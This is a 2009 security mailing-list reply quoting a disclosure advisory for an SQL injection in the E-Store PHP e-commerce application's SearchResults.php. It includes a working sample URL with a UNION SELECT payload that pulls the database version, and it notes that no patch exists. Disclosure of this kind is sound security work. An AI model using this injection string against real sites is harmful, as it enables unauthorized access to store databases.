Re: E-Store SQL Injection Vulnerability

[Packet Storm <bugtraq () packetstormsecurity org>]

Previously discovered:

http://packetstormsecurity.org/0812-exploits/estore-sql.txt 856a5dc9cba52e892cbb54bd2e1a0a82 getaphpsite e-store 
suffers from a remote SQL injection vulnerability in SearchResults.php. Authored By <a 
href="mailto:trt-turk[at]hotmail.com";>ZoRLu</a>

On Fri, Dec 11, 2009 at 05:50:54AM +0100, Salvatore Fresta aka Drosophila wrote:
> E-Store SQL Injection Vulnerability
>
>  Name              E-Store
>  Vendor            http://www.getaphpsite.com
>
>  Author            Salvatore Fresta aka Drosophila
>  Website           http://www.salvatorefresta.net
>  Contact           salvatorefresta [at] gmail [dot] com
>  Date              2009-09-03
>
> X. INDEX
>
>  I.    ABOUT THE APPLICATION
>  II.   DESCRIPTION
>  III.  ANALYSIS
>  IV.   SAMPLE CODE
>  V.    FIX
>  VI.   DISCLOSURE TIMELINE
>
>
> I. ABOUT THE APPLICATION
>
> E-Store is a commercial PHP e-commerce.
>
>
> II. DESCRIPTION
>
> This application presents a SQL Injection bug.
>
>
> III. ANALYSIS
>
> Summary:
>
>  A) SQL Injection
>
> A) SQL Injection
>
> The GET where parameter  passed to SearchResults.php has not
> properly sanitised. Because of the affected query, the Magic
> Quotes GPC flag (php.in) may be on.
>
>
> IV. SAMPLE CODE
>
> http://site/path/SearchResults.php?SearchTerm=&where=ItemName UNION
> ALL SELECT 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16%23&ord1=ItemName&ord2=asc&search1=Go!
>
>
> V. FIX
>
> No patch.